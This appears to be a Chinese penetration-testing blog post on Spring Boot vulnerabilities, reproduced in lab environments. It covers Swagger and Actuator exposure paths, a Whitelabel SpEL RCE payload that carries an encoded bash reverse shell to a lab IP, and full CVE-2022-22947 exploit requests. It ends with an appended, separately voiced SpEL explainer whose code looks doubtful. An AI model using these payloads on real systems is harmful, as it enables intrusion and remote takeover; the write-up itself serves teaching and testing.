SpringBoot常见漏洞总结

Spring Boot 介绍

Spring 是 Java EE 编程领域的一个轻量级开源框架,Spring Boot 是基于 Spring 优化而来的开源框架,旨在简化企业级应用程序的配置和开发过程。它遵循“约定优于配置”的理念,通过自动配置、内嵌 Web 服务器(如 Tomcat、Jetty 等)以及众多开箱即用的 Starter 依赖,大幅降低了项目启动和开发的复杂性,使开发者能够快速构建独立运行、生产级的应用。

框架特征

人工识别
  1. Spring Boot 绿色叶子的logo(favicon.ico文件)
fofa语法:icon_hash="116323821"||body="Whitelabel Error Page"
ZoomEye语法:app="Spring Framework"

绿色树叶图标其实是整个 Spring 生态系统的标志,不仅仅代表 Spring Boot。

  1. 检查异常响应(在端口后面随便输入一个URL), Whitelabel Error Page关键字

Whitelabel Error Page 是 Spring Boot 框架特有的默认错误页面

fofa语法:body="Whitelabel Error Page"

在这里插入图片描述

工具识别
  1. 浏览器扩展:wappalyzer(仅能确定是 spring)
    在这里插入图片描述

  2. goby
    在这里插入图片描述

  3. awvs
    在这里插入图片描述

Swagger 未授权访问

Swagger 是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务,JAVA 在金融机构开发语言的地位一直居高不下,而作为 JAVA 届服务端的大一统框架 Spring,便将 Swagger 规范纳入自身的标准,建立了 Spring-swagger 项目,所以在实际测试环境中,基于 Spring 框架的 swagger-ui 接口展示及调试文档页面最为常见。

在平时渗透测试的的时候,经常会发现 Swagger UI 页面泄露,在这个页面中暴露了目标站点中所有的接口信息,所以可以对这个接口进行漏洞测试,看是否存在未授权访问、sql 注入、文件上传等漏洞。
在这里插入图片描述

Fofa语法:title="Swagger UI"
Google语法:intitle:"Swagger UI" site:yourarget.com
漏洞成因

Swagger 未开启页面访问限制
Swagger 未开启严格的Authorize认证

常见路径:

Swagger 未授权访问地址可能存在于以下默认路径:

/api
/api-docs
/api-docs/swagger.json
/api.html
/api/api-docs
/api/apidocs
/api/doc
/api/swagger
/api/swagger-ui
/api/swagger-ui.html
/api/swagger-ui.html/
/api/swagger-ui.json
/api/swagger.json
/api/swagger/
/api/swagger/ui
/api/swagger/ui/
/api/swaggerui
/api/swaggerui/
/api/v1/
/api/v1/api-docs
/api/v1/apidocs
/api/v1/swagger
/api/v1/swagger-ui
/api/v1/swagger-ui.html
/api/v1/swagger-ui.json
/api/v1/swagger.json
/api/v1/swagger/
/api/v2
/api/v2/api-docs
/api/v2/apidocs
/api/v2/swagger
/api/v2/swagger-ui
/api/v2/swagger-ui.html
/api/v2/swagger-ui.json
/api/v2/swagger.json
/api/v2/swagger/
/api/v3
/apidocs
/apidocs/swagger.json
/doc.html
/docs/
/druid/index.html
/graphql
/libs/swaggerui
/libs/swaggerui/
/spring-security-oauth-resource/swagger-ui.html
/spring-security-rest/api/swagger-ui.html
/sw/swagger-ui.html
/swagger
/swagger-resources
/swagger-resources/configuration/security
/swagger-resources/configuration/security/
/swagger-resources/configuration/ui
/swagger-resources/configuration/ui/
/swagger-ui
/swagger-ui.html
/swagger-ui.html#/api-memory-controller
/swagger-ui.html/
/swagger-ui.json
/swagger-ui/swagger.json
/swagger.json
/swagger.yml
/swagger/
/swagger/index.html
/swagger/static/index.html
/swagger/swagger-ui.html
/swagger/ui/
/Swagger/ui/index
/swagger/ui/index
/swagger/v1/swagger.json
/swagger/v2/swagger.json
/template/swagger-ui.html
/user/swagger-ui.html
/user/swagger-ui.html/
/v1.x/swagger-ui.html
/v1/api-docs
/v1/swagger.json
/v2/api-docs
/v3/api-docs
靶场复现

使用 Java Sec Code 的靶场环境,使用 docker 搭建。

靶场链接:https://github.com/JoyChou93/java-sec-code

进入目录后
docker compose up -d

登录用户名密码:

admin/admin123
joychou/joychou123

在这里插入图片描述
实际上 java-sec-code 靶场并不存在 Swagger-ui 未授权访问漏洞,需要用户登录以后才能访问到 swagger-ui,此处我们假设无需登录即可访问:

路径 /swagger-ui/index.html 查看生成的API接口文档。
在这里插入图片描述
可尝试测试功能接口参数,对系统数据进行增删改查等操作。以 login 接口为例:

点击 Try it out --> Execute 可以调用接口并查看服务器返回数据
在这里插入图片描述
在这里插入图片描述
SSRF 漏洞接口测试
在这里插入图片描述

批量探测

访问 api-docs 或者 swagger.json 可以直接获取 Json 格式的全部接口文档,通过 json 文档地址配合 swagger-scan 工具,可批量自动化爬取并自动测试所有swagger接口。

项目地址:https://github.com/jayus0821/swagger-hack
在这里插入图片描述
在这里插入图片描述

python swagger-hack2.0.py -u https://IP:port/json文档路径

会自动构造参数并发送请求包,扫描完成后目录下会有一个swagger.csv文档,我们可以在里面找信息泄露的接口(这里搭建的靶场执行没结果,换了个环境):
在这里插入图片描述
在这里插入图片描述

APIKit 扩展

APIKit 是 BurpSuite 扩展,可以主动/被动扫描发现应用泄露的API文档,并将API文档解析成 BurpSuite 中的数据包用于API安全测试。

支持的API技术的指纹有:

 GraphQL
 OpenAPI-Swagger
 SpringbootActuator
 SOAP-WSDL
 REST-WADL

在这里插入图片描述
在遇到 swagger 页面泄露的时候,如果想手动测试接口,又因为接口太多不想一个点,这时就可以使用此扩展。

APIKit会对进入到BurpSuite的流量进行被动扫描。解析完成后可以在APIKit面板查看结果
在这里插入图片描述

在这里插入图片描述

  • Send with Cookie:开启Cookie,可以把包的Cookie存下来,生成请求的时候保留Cookie。
  • Auto Request Sending:选择开启Auto Request Sending后,可以对子API进行自动化鉴权测试,快速发现API未授权访问漏洞。
    在这里插入图片描述
    主动扫描:
    可以在任何一个Burpsuite可以右键打开更多选项的页面中,都可以点击右键,选择Do Auto API scan来发起一次主动扫描,进行API指纹探测。
    在这里插入图片描述

Spring Boot Actuator 未授权访问

Actuator 是 springboot 提供的用来对应用系统进行自省和监控的功能模块,借助于 Actuator 开发者可以很方便地对应用系统某些监控指标进行查看、统计等。在 Actuator 启用的情况下,如果没有做好相关权限控制,非法用户可通过访问默认的执行器端点(endpoints)来获取应用系统中的监控信息,从而导致信息泄露甚至服务器被接管的事件发生。

常见端点

Actuator 提供的执行器端点分为两类:原生端点和用户自定义扩展端点,原生端点主要有:

路径描述
/autoconfig提供了一份自动配置报告,记录哪些自动配置条件通过了,哪些没通过
/beans描述应用程序上下文里全部的Bean,以及它们的关系
/env获取全部环境属性
/configprops描述配置属性(包含默认值)如何注入Bean
/dump获取线程活动的快照
/health报告应用程序的健康指标,这些值由HealthIndicator的实现类提供
/info获取应用程序的定制信息,这些信息由Info打头的属性提供
/mappings描述全部的URL路径,以及它们和控制器(包含Actuator端点)的映射关系
/metrics报告各种应用程序度量信息,比如内存用量和HTTP请求计数
/shutdown关闭应用程序,要求endpoints.shutdown.enabled设置为true
/trace提供基本的HTTP请求跟踪信息(时间戳、HTTP头等)

对于漏洞比较重要的接口和其可能的利用方式,总结如下:

接口利用方式
/env、/actuator/envGET 请求 /env 可能会直接泄露环境变量、内网地址、配置中的用户名、mysql 安装路径、数据库密码(可能带*)、关键密钥等敏感数据
/heapdump、/actuator/heapdump可尝试访问网站的 /actuator/heapdump 接口,下载返回的 GZip 压缩 堆转储文件,可使用 Eclipse MemoryAnalyzer 加载,通过站点泄露的内存信息,有机会查看到后台账号信息和数据库账号等
/trace、/actuator/trace/trace 路径包含一些 http 请求包访问跟踪信息,有可能在其中发现内网应用系统的一些请求信息详情、以及有效用户或管理员的 authorization(token、JWT、cookie)等字段
/mappings、/actuator/mappings由于 mappings 记录了全部的 Url 路径,可以利用该端点寻找未授权接口
/health、/actuator/healthGit 项目地址的泄露一般在 /health 路径,可探测到站点 git 项目地址并查看源码
/refresh、/actuator/refreshPOST 请求 /env 接口设置属性后,可同时配合 POST 请求 /refresh 接口刷新 /env 属性变量来触发相关 RCE 漏洞
/restart、/actuator/restart暴露出此接口的情况较少,可以配合 POST请求 /env 接口设置属性后,再 POST 请求 /restart 接口重启应用来触发相关 RCE 漏洞
/jolokia、/actuator/jolokia可以通过 /jolokia/list 接口寻找可以利用的 MBean,间接触发相关 RCE 漏洞、获得星号遮掩的重要隐私信息的明文等。

需要注意的是:

  • 有些程序员会自定义 /manage/management 、项目 App 相关名称为 spring 根路径。
  • Spring Boot Actuator 1.x 版本默认内置路由的起始路径为 / ,2.x 版本则统一以 /actuator 为起始路径。
  • Spring Boot Actuator 默认的内置路由名字,如 /env 有时候也会被程序员修改,比如修改成 /appenv
靶场复现

使用 Vulhub 靶场的 CVE-2022-22947 环境进行复现

cd vulhub/spring/CVE-2022-22947
docker compose up -d

靶场的Actuator是 2.x 版本的

在这里插入图片描述

/actuator/heapdump 堆转储文件

访问后可以下载到一个 hprof 格式的堆转储文件 heapdump
在这里插入图片描述
使用工具查看
JDumpSpider,链接:https://github.com/whwlsfb/JDumpSpider
heapdump_tool ,链接:https://github.com/wyzxxz/heapdump_tool

第一款工具 JDumpSpider

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

自动识别、提取敏感信息并进行分类,可惜本环境没有什么敏感信息:
在这里插入图片描述

第二款工具 heapdump_tool

java -jar heapdump_tool.jar heapdump

可以输入关键字进行检索。
在这里插入图片描述
有时会泄露账户密码,shirokey 等敏感信息。
在这里插入图片描述

/env 路径敏感信息

本靶场环境不存在敏感数据,借用网上案例,/env 路径泄露多个敏感账户密码:
在这里插入图片描述
在这里插入图片描述

/trace 路径泄露认证凭据

在这里插入图片描述
在这里插入图片描述

/health 路径泄露 Git 项目地址

在这里插入图片描述

/mappings 路径泄露所有 API

在这里插入图片描述

Whitelabel Error Page SpEL RCE

漏洞原理:

由于 SpelView 类中的 exactMatch 参数未严格过滤,Spring Boot framework 对异常处理不当在同时开启 whitelabel page,会造成异常请求中注入SPEL执行。当用户采用Spring Boot 启动 Spring MVC 项目后,Spring Boot 默认异常模板在处理异常信息时,会递归解析 SPEL 表达式,可导致 SPEL 表达式注入并执行。攻击者利用此漏洞,通过 SPEL 即可在服务器端实现指令注入(执行代码)。

利用条件:
  • spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0
  • 至少知道一个触发 springboot 默认错误页面的接口及参数名
漏洞复现:

使用 Vulfocus 的环境,环境搭建:

docker pull  vulfocus/spring-boot_whitelabel_spel:latest

docker run -d -p 9090:9090 镜像ID

在这里插入图片描述
步骤一:找到一个正常传参处
比如发现访问 /article?id=xxx,实战可以通过burp 等工具 fuzz。若网站状态码返回为500,则后续测试可在此id参数进行。
在这里插入图片描述
页面报状态码为 500 的错误: Whitelabel Error Page

步骤二:执行 SpEL 表达式
输入 /article?id=${7*7} ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
在这里插入图片描述
步骤三:反弹shell

bash -i >& /dev/tcp/192.168.56.130/7777 0>&1

将上面的反弹 shell 语句使用 base64 编码放在下面 echo 后面

bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEzMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i} 

将上面的 payload 通过下面py脚本转换为 java 字节形式

# coding: utf-8

result = ""
target = 'bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjU2LjEzMC83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}'
for x in target:
    result += hex(ord(x)) + ","
print(result.rstrip(','))

在这里插入图片描述
最终payload:

article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{0x62,0x61,0x73,0x68,0x20,0x2d,0x63,0x20,0x7b,0x65,0x63,0x68,0x6f,0x2c,0x59,0x6d,0x46,0x7a,0x61,0x43,0x41,0x74,0x61,0x53,0x41,0x2b,0x4a,0x69,0x41,0x76,0x5a,0x47,0x56,0x32,0x4c,0x33,0x52,0x6a,0x63,0x43,0x38,0x78,0x4f,0x54,0x49,0x75,0x4d,0x54,0x59,0x34,0x4c,0x6a,0x55,0x32,0x4c,0x6a,0x45,0x7a,0x4d,0x43,0x38,0x33,0x4e,0x7a,0x63,0x33,0x49,0x44,0x41,0x2b,0x4a,0x6a,0x45,0x3d,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x65,0x36,0x34,0x2c,0x2d,0x64,0x7d,0x7c,0x7b,0x62,0x61,0x73,0x68,0x2c,0x2d,0x69,0x7d}))}

放在浏览器中执行
在这里插入图片描述
在这里插入图片描述
成功反弹。

Spring Cloud Gateway Actuator API SpEL RCE(CVE-2022-22947)

漏洞原理:

Spring Cloud 是基于 Spring Boot 来进行构建服务,并提供如配置管理、服务注册与发现、智能路由等常见功能的帮助快速开发分布式系统的系列框架的有序集合。

Spring Cloud Gateway 是 Spring 中的一个API网关,旨在提供一种简单而有效的方法来路由到 API 并为其提供横切关注点,例如:安全性、监控/指标和弹性。客户端发起请求给网关,网关处理映射找到一个匹配的路由,然后发送该给网关的 Web 处理器,处理器会通过一条特定的Filter链来处理请求,最后会发出代理请求,Filter 不仅仅做出预过滤,代理请求发出后也会进行过滤。

其 3.1.0 及 3.0.6 版本(包含)以前存在一处 SpEL 表达式注入漏洞,当 Gateway Actuator 端点启用、暴露且不安全时,使用 Spring Cloud Gateway 的应用程序很容易受到代码注入攻击。远程攻击者可能会发出恶意制作的请求,从而允许在远程主机上进行任意远程执行。

漏洞复现:

还是使用上面用过的 vulhub 靶场的 CVE-2022-22947 环境。

访问页面,默认路径 gateway 在页面 actuator 可访问,如下图所示:
在这里插入图片描述
从官方文档了解到,如果配置了暴露 actuator 端点,允许 jmx 或者 Web 访问,则可以通过 /gateway 接口与网关进行交互,并创建新的自定义路由。

利用这个漏洞需要发送两个 HTTP 数据包。

首先,发送如下数据包,添加一个包含恶意 SpEL 表达式的路由:

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: 192.168.111.135:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

在这里插入图片描述
然后,发送如下数据包,应用刚添加的路由,这个数据包将触发 SpEL 表达式的执行:

POST /actuator/gateway/refresh HTTP/1.1
Host: 192.168.111.135:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 331

{
  "id": "hacktest",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

在这里插入图片描述
访问 /actuator/gateway/routes/hacktest 路径即可查看执行结果:
在这里插入图片描述
成功执行命令,同理可以将恶意路由的 SpEL 表达式替换为 basse64 的反弹 shell 命令。

最后,发送如下数据包清理现场,删除所添加的路由:

DELETE /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close

再刷新下路由:

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

漏洞自动化利用工具

最后介绍个 SpringBoot 框架漏洞探测工具:https://github.com/0x727/SpringBootExploit

启动命令:

java -jar SpringBootExploit-1.3-SNAPSHOT-all.jar

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

SpringBoot SpEL表达式注入漏洞是一种常见的安全漏洞,攻击者可以利用该漏洞在应用中执行恶意代码,从而导致应用被攻击。下面我将对该漏洞进行分析与复现。 一、漏洞分析 SpringBoot中的SpEL(Spring Expression Language)是一种基于表达式的语言,用于在运行时动态地计算值或执行逻辑。SpEL表达式可以用于访问对象的属性、调用对象的方法、进行条件判断等操作。在SpringBoot中,SpEL表达式可以用于注解中的属性值、配置文件中的属性值等场景。 在SpEL表达式中,可以使用一些特殊的语法来引用Bean对象或调用Bean对象的方法。例如,可以使用`#{beanName.methodName()}`的语法来调用Bean对象的方法。如果在SpEL表达式中使用了未经过滤的用户输入,就会存在SpEL表达式注入漏洞。 攻击者可以通过构造恶意的SpEL表达式,将其注入到应用中,从而执行恶意代码。例如,可以将`#{T(java.lang.Runtime).getRuntime().exec('calc')}`注入到应用中,从而在受害者机器上执行计算器程序。 二、漏洞复现 下面我将通过一个简单的漏洞复现来说明SpEL表达式注入漏洞的危害性。 1. 创建一个SpringBoot应用 首先,我们需要创建一个SpringBoot应用。可以使用Spring Initializr来快速创建一个基本的SpringBoot应用。 2. 添加注解 在创建好的SpringBoot应用中,我们可以添加一个Controller类,并在其中添加一个RequestMapping注解。在RequestMapping注解中,我们可以使用SpEL表达式来引用Bean对象或调用Bean对象的方法。 ```java @RestController public class MyController { @RequestMapping("/test") public String test() { return "hello world"; } @RequestMapping(value = "/{name}", method = RequestMethod.GET) public String sayHello(@PathVariable("name") String name) { return "Hello " + name + "!"; } @RequestMapping(value = "/spel", method = RequestMethod.GET) public String spel() { String expression = "#{T(java.lang.Runtime).getRuntime().exec('calc')}"; ExpressionParser parser = new SpelExpressionParser(); Expression exp = parser.parseExpression(expression); return exp.getValue().toString(); } } ``` 在上述代码中,我们在/spel接口中使用了SpEL表达式来调用Runtime.getRuntime().exec方法,从而执行计算器程序。 3. 启动应用 启动应用后,访问/spel接口,可以看到计算器程序被成功执行。 4. 防范措施 为了防范SpEL表达式注入漏洞,我们可以采取以下措施: 1. 对用户输入进行过滤和验证,避免未经过滤的用户输入被注入到SpEL表达式中。 2. 尽量避免在注解或配置文件中使用SpEL表达式。 3. 对于必须使用SpEL表达式的场景,可以对SpEL表达式进行白名单过滤,只允许特定的SpEL表达式被执行。 4. 在应用中禁用动态表达式功能,避免SpEL表达式被执行。 5. 总结 SpEL表达式注入漏洞是一种常见的安全漏洞,攻击者可以利用该漏洞在应用中执行恶意代码。为了防范该漏洞,我们需要对用户输入进行过滤和验证,避免未经过滤的用户输入被注入到SpEL表达式中。同时,尽量避免在注解或配置文件中使用SpEL表达式,对于必须使用SpEL表达式的场景,可以对SpEL表达式进行白名单过滤,只允许特定的SpEL表达式被执行。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值